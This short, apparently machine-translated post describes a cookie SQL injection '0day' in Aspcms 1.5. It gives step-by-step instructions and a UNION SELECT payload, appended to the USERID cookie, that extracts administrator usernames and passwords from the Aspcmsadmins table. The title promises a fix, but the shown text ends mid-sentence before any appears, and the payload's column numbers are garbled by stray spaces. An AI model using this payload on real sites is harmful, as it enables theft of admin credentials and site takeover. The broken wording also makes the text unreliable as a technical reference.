Aspcms 1.5 COOKIES injection 0day and fix-vulnerability warning-the black bar safety net

Aspcms 1.5 COOKIES injection 0day, register an account. Then after landing to modify the COOKIES of USERID values In the back plus the injected statement: UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,1 0,1 1,1 2,1 3,1 4,1 5,1 6,1 7,1 8,1 9,2 0,2 1,2 2 from Aspcmsadmins Then edit the account...